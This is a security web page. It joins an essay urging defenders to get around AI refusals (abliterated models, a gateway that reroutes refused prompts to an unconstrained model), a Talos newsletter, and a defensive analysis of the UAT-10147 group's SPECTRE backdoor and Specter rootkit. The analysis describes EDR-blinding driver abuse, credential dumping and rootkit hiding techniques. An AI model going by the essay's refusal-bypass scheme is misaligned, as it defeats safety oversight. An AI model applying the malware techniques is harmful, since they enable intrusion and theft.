Attackers don’t even need to jailbreak anything. Models like GLM-5.2 and Kimi k3 are readily available with far fewer restrictions than Western frontier APIs, and "abliteration" (stripping the safety training out of an existing model) remains an option for anyone who wants to go further. Mostly, they don’t have to. They can just pick a model that doesn’t refuse them. 

Most defenders don’t have that option. Cloud APIs are tuned toward a kind of cyber do-no-harm designed to keep bad guys from using them to build attacks. This is the same refusal bias that ends up blocking security teams trying to analyze those attacks. In a defensive context, erring on caution often means erring in the attacker’s favor. Every refused request costs the defender the one resource they can’t get back: time. 

This trade-off used to be worth it. A few months ago, frontier models were far enough ahead on reasoning and code generation that the friction from their guardrails was a fair price. But the newest frontier models, like Anthropic’s Fable, are shipping with sharper cyber capabilities and even tighter guardrails to match. Meanwhile, open-weight alternatives have closed most of the reasoning gap that used to justify putting up with those guardrails in the first place. 

Either way, the calculus is shifting: Defenders are increasingly paying for restrictions without getting a capability edge in return. 

Defining operational sovereignty 

The way out is what I’d call operational sovereignty — not to be confused with data sovereignty, which is about where your data lives and how it’s treated. Operational sovereignty is about who gets the final say over what your AI is allowed to do. 

A sovereign SOC needs its AI technology to be at least on par with that of their adversaries. They either need to have a fallback on hand when their model refuses to complete a task or to use a model that will not offer refusals in the first place. That does not mean there should be no safeguards placed around the models, just that the safeguards should be under the control of the organization itself rather than imposed upon them from the outside. 

Security operations also shouldn’t be hostage to a vendor’s shifting alignment policy, or frequent behind-the-scenes model updates that may change behavior subtly and unexpectedly (known as model drift). Operational sovereignty means a policy change in Silicon Valley doesn’t quietly break your defensive workflow overnight. It’s what lets you keep pace with an adversary who was never bound by those policies to begin with. 

The roadmap: From convenience to collective defense 

Getting there isn’t all-or-nothing. The right path depends on risk tolerance and how much infrastructure a team can realistically manage.

Private infrastructure 

The most direct route is to host the model yourself, on your own GPUs or a dedicated private cloud instance, so you own the weights and the policy outright. 

• The benefit: There’s no safety penalty because there’s no third party to impose one. You’re free to choose any model that fits your needs, guardrails included or not. 
• The downside: Physical scarcity, expertise, and high upfront cost. GPU procurement can take months, the capital outlay is steep, and running your own inference stack takes specialized talent most security teams don’t have on staff. 

Model-as-a-Service 

Model-as-a-Service splits the difference. Providers like Baseten or Together AI, or platforms like Amazon Bedrock or Microsoft Foundry, let you bring your own model to infrastructure they manage, without layering their own safety refusals on top. 

• The benefit: It removes the safety penalty while offloading the hardware burden. You get the control of private infrastructure with the scalability of the cloud. 
• The downside: Dedicated capacity that avoids provider-side filters is often in short supply. Falling back to shared clusters solves the availability problem but can reintroduce the same guardrails, and the same data-sharing concerns, you were trying to escape. 

The hybrid fallback 

The most architecturally involved option is to keep frontier cloud models for most day-to-day tasks but add an automated handling path for the rest. A gateway watches for refusals and reroutes those prompts to a smaller, unconstrained model you control. 

• The benefit: A guaranteed response with minimal upfront infrastructure investment. You stay on the cutting edge of cloud capability while neutralizing the safety penalty. 
• The downside: Keeping the fallback model’s read of a prompt consistent with the primary’s, so a refused request lands the same way with both. If the fallback is a local model, you’re also managing two systems in parallel — a smaller maintenance burden than hosting it all yourself, but not zero. 

Collective inference 

The most speculative option, and the one I find most interesting: evolving the ISAC/ISAO model into collective inference. Industry groups already share threat intelligence, so why not pool the infrastructure too? A sector could jointly fund a shared, unconstrained model, maybe even one tuned to its own threat landscape, governed by its members rather than a vendor. 

• The benefit: A community-governed "brain" as capable as any frontier model, answerable only to the defenders who fund it. 
• The downside: Governance. Members have to agree on usage and safety policy, and during a sector-wide incident, everyone would be hitting the same shared infrastructure at once.

Reclaiming the defensive advantage 

You can’t manage what you don’t measure. If an AI assistant is supposed to be a force multiplier, every refusal during a live incident multiplies by zero. Security leadership should treat those refusals as a structural failure of a non-sovereign stack, not an occasional annoyance. 

Start by auditing your refusal rate. That number is the most direct way to put a figure on the safety penalty your organization is actually paying. Once you know it, the path forward gets a lot clearer. 

The adversary has already claimed its own sovereignty, running at full throttle with no guardrails to slow them down. Defenders need to manage their safeguards to keep pace. 

Welcome to this week’s edition of the Threat Source newsletter.  

Hello friend.  

I’m Mick.  

This is my first Threat Source newsletter, so I should probably introduce myself before I start telling you all the things I think you should be paying attention to. With assistance from an unnamed LLM, my bio reads like this:  

Mick Baccio is a globally recognized security strategist with a career spanning offensive operations, threat intelligence, and national-level incident response. He currently advises organizations around the world through his role at Talos, helping security leaders improve operations through data-informed approaches. Mick was the first-ever Chief Information Security Officer for a U.S. presidential campaign (2020) and previously served in multiple White House administrations as Threat Intelligence Branch Chief.   

In his spare time, Mick is the Founder and President of THRUNT® Corp, IANS Faculty, and a KC7 Cyber Foundation board member.  

DEFCon Goon and Purveyor of Fine Experience.  

Veteran. 

I also have a cat named qwerty and own too many Air Jordans.   

I’ve spent most of my career somewhere in the intersection of threat intelligence, cybersecurity, government, and the people trying to make sense of all of it. These days, i spend a lot of time thinking about the decisions we make about security ripple outward, often in ways we didn't consider. Most of my ramblings will probably center around that. There will be threats. There will be intelligence. Occasionally something weird, but always something that caught my eye, and maybe worth checking out.   

Which brings us this week. I picked a hell of a week to start.   

Last Wednesday, the White House issued a presidential memorandum titled “Expanding Capabilities to Combat Transnational Cyber-Enabled Crime.” You should probably read it. The memorandum directs the DOJ and DHS to establish a program that can use private companies to conduct cyber operations against transnational criminal organizations outside the United States — beyond providing intelligence and assisting in the investigation. The memorandum explicitly envisions private companies conducting cyber surveillance and cyber effects operations under the direction and delegated authority of the U.S. government. 

This is a pretty big thing.  

For years, this industry has debated where line should exist between defending a network and reaching through the wire. We’ve debated hack back, active defense, attribution, proportional response, collateral damage, and what roles private companies have in offensive cyber operations. This is absolutely not “hack back" and calling it that misses important oversight built into the memorandum. 

At the same time, let’s be clear about what we are reading. The United States is creating a mechanism for private companies to participate directly in government-authorized offensive cyber operations against systems outside the United States. There will be plenty of debate whether this is good or bad policy; I will leave that for someone else. I’m much more interested in the operational questions it creates. 

Who establishes attribution strongly enough to authorize an operation? What happens when criminal and state infrastructure overlap? What happens when infrastructure is compromised and used as an ORB? Who owns access discovered during one of these operations? How is intelligence collected by a private company handled? What happens when a company conducting these operations also provides security services in that country?   

Most importantly (in my head): What happens when another country discovers that employees of an American cybersecurity company are conducting offensive operations against infrastructure inside its borders? 

This is not an argument against disrupting cybercrime. I’m all for it. These are questions about what happens when we fundamentally change who gets to do the disrupting. 

Read the memorandum.  

Seriously. 

What we have today is a framework. In 60 days, we should have a much better idea of what this will look like in practice, so circle that on your calendar. The memorandum gives DOJ and DHS 60 days to establish the operating procedures for the program, and no operation can be approved until those procedures are in place. 

In the area between “private cybersecurity company” and “authorized participant in U.S. offensive cyber operations,” the threat model for that company and its employees just changed considerably. 

The biggest question isn’t “Does this work?” 

It’s whether we’ve fully considered what happens if it does. 

Read the memorandum.  

And in 60 days, come back and ask again. 

The one big thing  

Talos posted two blogs on UAT-10147, a recently discovered Chinese-speaking cybercrime group that uses agentic AI to orchestrate sophisticated post-compromise operations across global web servers. UAT-10147 uses AI to generate operational playbooks, automate exploits, and develop custom malware. This includes the newly identified SPECTRE implant, a cross-platform backdoor featuring a custom Linux kernel rootkit and Bring Your Own Vulnerable Driver (BYOVD) capabilities designed to completely blind endpoint detection and response (EDR) solutions. 

Why do I care? 

The integration of agentic AI into offensive workflows means threat actors can now scale complex attacks with ruthless efficiency. UAT-10147 is using AI to dynamically troubleshoot, validate exploit paths, and generate custom rootkits that neutralize organizations' security stacks from the kernel level up. When an adversary can automate their reconnaissance and seamlessly blind your EDR, your window for detection shrinks drastically. 

So now what? 

Defenders need to prioritize patching known one-day vulnerabilities in internet-facing applications like Zimbra, Nacos, and Telerik UI. Since UAT-10147 relies heavily on stolen ASP.NET MachineKeys for ViewState deserialization attacks, locking down your key material is an absolute must. You should also block known vulnerable drivers to shut down their BYOVD attacks, and tune your network monitoring to catch the anomalous HTTP 500 errors they use to silently validate exploits. Read both blogs for comprehensive coverage and indicators of compromise (IOCs). 

Top security headlines of the week 

Critical GitLab zero-click flaw poses mitigation challenges 
GitLab wants organizations running self-managed versions of its software development and DevOps platform to immediately upgrade to new versions released Monday, but patching is not going to eliminate the risk to enterprises and others managing projects there. (Dark Reading) 

SANS 2026 AI Survey reveals cybersecurity AI adoption outpaces governance 
The survey found that 61% of cybersecurity practitioners now use AI in red team activities, while 76% have an enterprise AI governance role. Yet more than half said formal audit frameworks are not in place, and only 27% described their AI deployment as mature production. (Industrial Cyber) 

“Unprecedented” number of Apple users received recent spyware alert, say investigators 
Several people publicly and privately reported receiving Apple’s spyware alerts over the weekend, after Apple sent out a new wave of notifications on Friday alerting customers in 110 countries that they had been targeted with powerful spyware.  (TechCrunch) 

Critical macOS, SharePoint, vCenter, and Microsoft IKE flaws under active exploitation  
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added four critical vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, stating they are being exploited in the wild. (The Hacker News) 

Can’t get enough Talos? 

Describing attacks with crime script analysis 
Martin explores how using crime script analysis to describe an attack with everyday language makes the situation accessible to non-technical audiences and identify points where the crime can be disrupted. 

Beers with Talos: For the record, no comment 
Kaitlin Acharya joins the crew to take us inside what happens when Talos spots something that could become a major threat, how her team tracks changes in threat actor behavior, and how intelligence moves from an investigation into detection content. 

Don't scan that! QR code phishing and cloud-native threats 
What happens when a  QR code leads to a major security incident? In this episode, Amy sits down with Senior Incident Response Consultant Terryn Valikodath to break down a recent, high-stakes breach at an Australian medical center.

Upcoming events where you can find Talos 

• International European Cyber Threat Intelligence Conference (IECTIC) (Sept. 9) Kassel, Germany 
• Secure Iowa (Sept. 9) Altoona, IA 
• .conf26 (Sept. 14 – 17) Denver, CO 
• LABSCon (Sept. 16 – 19) Scottsdale, AZ 
• VB (Oct. 14 – 16) Seville, Spain 
• CAMLIS (Oct. 21 – 23) Arlington, VA 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: VID001.exe  
Detection Name: W32.9F1F11A708-100.SBX.TG** 

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
MD5: 7bdbd180c081fa63ca94f9c22c457376  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
Example Filename: d4aa3e7010220ad1b458fac17039c274_62_Exe.exe 
Detection Name: Win.Dropper.Miner::95.sbx.tg** 

SHA256: 24fa02c3f6ab460648f2c1274aefffb3e25569b5afdcb0d4a5918c7c742780f1  
MD5: 8ef476fa2322d063896830f85bac2e7f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=24fa02c3f6ab460648f2c1274aefffb3e25569b5afdcb0d4a5918c7c742780f1 
Example Filename: WebCompanion.exe  
Detection Name: W32.24FA02C3F6-95.SBX.TG 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
Example Filename: tmp00055df5.dll  
Detection Name: Auto.90B145.282358.in02 

SHA256: c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2  
MD5: 9a47c4d379998ade2f8f99e23a630c06  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2 
Example Filename: WCInstaller_NonAdmin.exe  
Detection Name: W32.C4DD71E347-95.SBX.TG 

In our previous blog, Cisco Talos documented how UAT-10147 operationalized AI-assisted exploitation workflows to compromise internet-facing IIS and Linux servers at scale. This blog discusses how UAT-10147 is employing a diverse arsenal of tools, including SEO fraud utilities, local privilege escalation tools, and both off-the-shelf and custom developed backdoors.

To thoroughly analyze their toolkit, the following section is divided into three parts, detailing the specific tools used and their respective capabilities. We also assess that UAT-10147 is gradually incorporating AI-assisted development into its operations, likely to support the creation and refinement of tools used across its campaigns. Specifically, both its custom-developed backdoor, SPECTRE, and custom-developed rootkit, Specter, exhibit indications of AI-assisted development.

Talos also observed several SEO fraud-related components used in this campaign that we assess with medium confidence to be associated with “x神” (“xshen”), who is mentioned in a previously released Talos post. This assessment is supported by multiple development artifacts embedded in the BadIIS malware and related tooling. 

The BadIIS samples used in this activity contain the following PDB paths:  

• C:\Users\Administrator\Desktop\2025-11-21 (x神订制全站劫持按浏览器语言跳转)\dll\Release\demo.pdb 
• C:\Users\Administrator\Desktop\2025-11-21 (x神订制全站劫持按浏览器语言跳转)\dll\x64\Release\demo.pdb 

We also identified that the BadIIS installer embeds a service installer containing an additional PDB string referencing “x神”: 

• C:\Users\Administrator\Desktop\x神的自安装服务\svchost\x64\Release\service.pdb  

Beyond these xshen-related development artifacts, other components in the campaign also contain references to “X.” The ASHX SEO engine configuration includes a string named “X-seo,” while the web shell uses an “X-ID” HTTP header to transmit a specific token. This header appears to support covert authentication by blending the web shell’s control traffic into otherwise routine HTTP communications. 

SPECTRE: A new cross-platform backdoor

SPECTRE is a cross-platform backdoor written in C.

Talos named this backdoor "SPECTRE" based on a debug log recovered from one of the observed samples. This log meticulously records each step of the malware's execution process and explicitly displays its name in the header. The contents of the observed log file are provided in Figure 4.

Windows version  

The Windows variant of SPECTRE distinguishes itself from the stock Havoc framework through custom post-exploitation and defense evasion capabilities compiled directly into the binary. Furthermore, the implant heavily prioritizes obfuscation and anti-analysis by utilizing a dual layered defense strategy. First, API resolution is executed entirely at runtime via PEB hash walking, using a DJB2 variant algorithm. Second, string encryption relies on a per-string xorshift32 pseudorandom number generator (PRNG) scheme. Sensitive literals are encrypted at compile time with unique 32-bit seeds, decrypted to thread local storage immediately before execution, and never stored in plaintext within the “.text” or “.rdata” sections. Consequently, static detection methods are largely ineffective against the implant's indicators.

SPECTRE has a feature to execute a weighted anti-analysis scoring routine that evaluates process name blocklists, RAM capacity, CPU core count, disk space, sleep acceleration detection, and common sandbox host names and usernames. If the cumulative score reaches or exceeds 50 points, the process self-terminates.

A fallback C2 domain is hardcoded within the binary and can be recovered through string decryption. All C2 communications are transmitted via HTTP POST requests to the “/api/v1/register” and “/api/v1/output” endpoints. Additionally, Talos observed a specific version of the implant attempting to read its C2 configuration from an NTFS Alternate Data Stream (ADS) located at “C:\Windows\System32\drivers\etc\hosts:cache”. This strategy allows the threat actor to easily update the C2 configuration by modifying the ADS, thereby circumventing firewall blocklists without needing to recompile the binary.

Talos observed 45 commands in this SPECTRE backdoor. 24 appear as plaintext comparands, and 21 are encrypted with the xorshift PRNG and decrypted at each dispatch.

Table 1. Windows version command list.

During our research, Talos noticed the encrypted commands are specific features for this backdoor. The features can be divided into three categories: 1) process injection, 2) privilege escalation and credential theft, and 3) BYOVD EDR killer capabilities.

Process injection capabilities 

SPECTRE supports three distinct injection modalities, all managed through a unified handler. The first is standard process hollowing, which targets “svchost.exe” by default. The second is APC EarlyBird injection, which utilizes pre-allocated memory to deliver shellcode before the target thread can execute a single instruction. The third is an automated, on-startup self-hollowing technique targeting “RuntimeBroker.exe”; this executes directly from main() to conceal the implant and evade EDR visibility. 

Privilege escalation and credential theft capabilities 

The SPECTRE implements named pipe impersonation for privilege escalation. It creates a pipe named “\.\pipe\spectre_<tid>” and acquires a SYSTEM token via ImpersonateNamedPipeClient. With SYSTEM privileges, three registry hives HKLM\SAM\SAM, HKLM\SYSTEM, and HKLM\SECURITY are saved to “%TEMP%” via RegSaveKeyA for offline NT hash extraction using Impact “secretsdump.py”.

Beyond hive dumping, SPECTRE provides two additional credential theft functions: 

1. Vaultdump: Spawns cmdkey.exe /list with stdout capture to enumerate Windows Credential Manager entries without any LSASS access 
2. Chromedump: Copies Chrome and Edge login data and local state files to “%TEMP%” for offline DPAPI decryption via SharpChrome

BYOVD EDR killer 

SPECTRE downloads one of two well-known vulnerable driver from the C2 — either RTCore64.sys from MSI (associated with CVE-2019-16098) or DBUtil_2_3.sys from Dell (associated with CVE-2021-21551). It then decodes and writes the driver to disk under %TEMP%, installs it as a transient kernel service via the SCM, and opens an IOCTL handle to the device.

Leveraging arbitrary kernel read/write primitives exposed by these drivers, SPECTRE uses NtQuerySystemInformation to locate “ntoskrnl.exe” in the kernel address space. It then references a hardcoded, per-build offset table covering 13 Windows versions to calculate the exact kernel virtual addresses for PspCreateProcessNotifyRoutine, PspCreateThreadNotifyRoutine, and PspLoadImageNotifyRoutine. By performing targeted kernel writes, the SPECTRE safely unlinks each registered EDR callback from its doubly-linked list. Consequently, kernel-callback-dependent security products are rendered completely blind to new process creations, thread creations, and image load events for the remainder of the session, successfully neutralizing EDR visibility on the target machine.

Linux version 

The SPECTRE Linux variant’s structure is the same as the Windows variant. It is a statically-linked ELF x86-64 binary targeting Linux systems. Upon execution, SPECTRE immediately invokes an eight-factor anti-sandbox scoring engine before establishing C2 connection. If the cumulative score reaches or exceeds the threshold of 50, the binary exits silently without generating any observable indicators.

Following successful anti-sandbox validation, SPECTRE beacons to its hardcoded C2 domain with a JSON payload, which is the same as the Windows version.

Rather than 45 commands in the Windows variant, the Linux version of SPECTRE only has 29 commands, none of which result in obfuscation or encryption.

Table 2. Linux version command list. 

The backdoor's command set encompasses comprehensive file system manipulation, system and process reconnaissance, agent management, and unrestricted shell execution. A particularly notable feature is the timestomp command, an anti-forensics mechanism that utilizes the utimensat() function and operator-provided timestamps to alter a file's modification, access, and change times. 

SPECTRE's most critical capability is its integrated kernel-level rootkit, called Specter. The rootkit is deployed as a loadable kernel module disguised as “acpi_pad.ko”, allowing it to mimic the legitimate ACPI processor power management module. To maintain persistence, it utilizes a fraudulent systemd unit file named “hardware-monitor.service” and bears the description "Hardware Performance Monitor." Crucially, this service is configured with “Before=sysinit.target”, ensuring the rootkit executes on every system boot prior to the initialization of any security tooling.

The user level communicates with the loaded kernel module through a signal-based IPC mechanism, issuing kill() syscalls targeting a magic PID value of 0x7A69 (decimal 31337, a well-known "elite" hacker cultural) with specific real-time signal numbers encoding the desired operation:  

• Signal 62 triggers process hiding by removing the target task_struct from the kernel PID list, rendering “/proc/<pid>” invisible. 
• Signal 36 hides the module itself from lsmod by unlinking THIS_MODULE from the kernel module linked list. 
• Signal 37 escalates the implant process to UID 0 by directly overwriting the process credential structure. 
• Signal 35 serves as a module load acknowledgement handshake.  

This architecture grants the threat actor persistent, kernel-level control of the compromised host that survives both reboots and most user-level security controls.

Specter Linux rootkit 

The SPECTRE backdoor loads the Linux Kernel rootkit, Specter, to prevent detection from security products. Based on the SPECTRE Linux version we observed, the compiled artifact is deployed disguised as “acpi_pad.ko”. Rather than patching the syscall table, the hook mechanism rootkit uses the Linux kernel's native “ftrace” instrumentation framework with “FTRACE_OPS_FL_IPMODIFY” to redirect execution at the function entry point of six syscall handlers: 

• hooked_tcp6_seq_show 
• hooked_tcp4_seq_show 
• hooked_tkill 
• hooked_tgkill 
• hooked_kill 
• hooked_getdents64 

Because “ftrace” is a legitimate kernel debugging interface, this approach produces minimal noise in kernel integrity checks.

Talos investigated the source code of the Specter rootkit and assesses with medium confidence that UAT-10147 leveraged a combination of AI-assisted development and human expertise in the creation of this rootkit, which is designed to be invoked directly by SPECTRE.

The first evidence is the documentation structure. The opening feature list at the top of the source code is a product spec, not a developer's note. A complete bulleted feature list with parenthetical technical elaborations on each point reads as a response to a prompt such as, "Write a rootkit with the following features." It is the AI narrating what it is about to produce.

The second piece of evidence is the rigid, uniform style of the decorative separators. The identical width and formatting applied consistently across all 10+ logical sections exhibit a machine-like uniformity that is a classic hallmark of AI-generated output. In addition, this text exhibits a pedagogical tone. An actual developer authoring a rootkit would not need to explain basic concepts to themselves, such as the function of taint flags or the mechanics of “cat /proc/sys/kernel/tainted”. The content is clearly structured as an educational explanation for a reader, rather than authentic, internal developer notes.

The last piece of evidence is that the inclusion of three distinct methods — explicitly labeled with inline comments such as “Method 1,” “Method 2, and “Method 3” — is a common artifact of AI generation. When prompted to be thorough, AI models tend to output all known approaches. In contrast, a human developer targeting a specific kernel would simply select and implement the single most effective method. This exhaustive, multi-method presentation is a classic example of an AI's completeness reflex.

SEO fraud utilities 

Regarding the SEO fraud utilities deployed in this attack, we observed two distinct types of malware. The first is the previously discussed BadIIS malware-as-a-service (MaaS) and the second is a C# ASHX SEO engine. While both tools share the same core capability of facilitating SEO fraud, their mechanisms for establishing persistence on the compromised server are fundamentally different.

ASHX SEO engine 

This SEO hijacking web handler silently takes over an IIS application's request pipeline via reflection. Functionally, it mirrors standard BadIIS malware, serving fabricated content to search crawlers to poison rankings while delivering a malicious JavaScript payload to targeted users. Furthermore, the threat actor explicitly named it “public class SeoEngineHandler,” clearly communicating the tool's intended purpose.

Talos also observed that SeoEngineHandler is specifically designed to target Vietnamese internet users. The handler's internal configuration contains several indicators that substantiate this geographic focus, such as the configured C2 domains utilizing the “vn[.]xyz” suffix, and the malware explicitly targets the crawler for “Cốc Cốc” (configured as coccoc), a prominent Vietnamese web browser and search engine.

MaaS BadIIS 

The BadIIS variant observed in this attack is deployed to the compromised server within a ZIP archive containing both 32-bit and 64-bit versions of the malware, alongside an installation batch script. One of the recovered archives contained a service installer previously documented by Talos. Notably, the core malware is the specific variant detailed in that same Talos research, characterized by the “demo.pdb” string and confirmed to operate under a MaaS model.

"Potato" family 

Talos observed the threat actor utilizing multiple “Potato” family tools to achieve system level privileges. While some of these tools, such as GodPotato and JuicyPotato, were downloaded as pre compiled binaries from the internet, others, like EfsPotato and RustPotato, were compiled by the threat actor directly from source code. Notably, analysis of the custom compiled EfsPotato and RustPotato payloads revealed embedded PDB strings and local file paths, inadvertently exposing details about the threat actor's development environment. The environment suggests that they target IIS servers and compile these custom privilege escalation tools within a designated AI directory. The explicit use of an AI folder in their build path is a fascinating detail, strongly suggesting that the threat actor may be leveraging AI to assist in the development of these tools. 

• C:\Users\iis\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\widestring-1.2.1\src\ucstring.rs 
• C:\Users\iis\Desktop\AI\EfsPotatoCpp\x64\Release\EfsPotato.pdb 
• C:\Users\Intel\Desktop\AI\EfsPotatoCPP\x64\Debug\EfsPotato.pdb

Other backdoors for persistence 

UAT-10147 leveraged other multiple backdoors throughout this attack. Their arsenal includes well-known commodity and open-source tools such as Gh0stCringe, QuasarRAT, Meterpreter, Noodle RAT, and a web shell.  

Web shell 

Talos observed a web shell with a sophisticated two layer architecture. The outer handler functions as a self bootstrapping loader that leverages in-memory dynamic compilation to execute its payload. Upon receiving the initial HTTP request, the handler reverses an obfuscated string, decodes it via Base64, and dynamically compiles the resulting code in memory using “CodeDomProvider”. To optimize execution and ensure thread safety, it caches the compiled assembly in a static field (_a) using double-checked locking, ensuring the payload is compiled only once per IIS worker process lifetime. Finally, the loader instantiates and invokes SHandler.ProcessRequest to manage all subsequent incoming requests.

The embedded handler functions as a versatile web shell implant, relying on a numeric parameter to dispatch its various operational modes. To maintain stealth, the shell employs a strict, multi-tiered authentication mechanism. It first inspects the X-ID HTTP header for a specific token; if absent, it falls back to checking the v parameter. If neither contains the exact value of "x9", the handler immediately halts execution and returns a deceptive “404 Not Found” error. This evasion technique allows the shell's covert authentication process to blend seamlessly into routine HTTP traffic.

A detailed breakdown of the supported commands and their corresponding actions is outlined below.

Table 3. Web shell command list. 

Meterpreter 

Talos has observed UAT-10147 deploying reverse Meterpreter shells to maintain persistent access to compromised Linux hosts. The observed malware functions as a first stage shellcode dropper. Upon establishing a successful connection, this dropper retrieves a second stage payload designed to establish persistence and grant the threat actor full C2 over the victim's machine.

Noodle RAT 

UAT-10147 also deployed Noodle RAT against targeted Linux servers, utilizing it as a final stage backdoor to ensure persistent access. The specific payload observed in this campaign is the Type 0x03A2 ELF variant, which was previously documented in research published by Trend Micro.

QuasarRAT 

Talos also observed UAT-10147 attempting to deploy QuasarRAT on compromised IIS servers to establish long-term persistence. A notable characteristic of this specific payload is its configured Campaign ID, which contains a derogatory Chinese string (“越南老逼”) toward Vietnamese elderly people. This artifact provides potential insight into the threat actor's sentiment or specific geographic targeting.

Gh0stCringe 

In another observed instance, UAT-10147 deployed Gh0stCringe to establish persistence. To evade detection, the threat actor embedded the Gh0stCringe payload as shellcode within a custom Go-based loader. 

Coverage 

The following ClamAV signatures detect and block this threat: 

• Win.Malware.Generic-10060235-0 
• Win.Malware.Generic-10060218-0 
• Win.Malware.Generic-9883082-0 
• Win.Malware.BadPotato-10060230-0 
• Win.Exploit.Marte-10033857-0 
• Unix.Rootkit.Malware-10060258-0 
• Win.Tool.GodPotato-10019688-1 
• Unix.Rootkit.Spectre-10060260-0 
• Unix.Trojan.Backdoor-6678692-0 
• Win.Malware.Generic-10060252-0 
• Win.Malware.Ulise-10056576-0 
• Win.Malware.Generic-10060220-0 
• Win.Malware.BadIIS-10059985-0 
• Win.Tool.juicypotato-10041758-0 
• Unix.Backdoor.Msfvenom-10012672-0 
• Win.Loader. BadiisSet-10060291-1 
• Asp.Rootkit.Badiis-10060290-1 

The following SNORT® rules (SIDs) detect and block this threat:  

• Snort2: 1:66690, 1:66688, 1:66689  
• Snort3: 1:66690, 1:301548 

Indicators of compromise (IOCs)  

The IOCs can also be found in our GitHub repository here.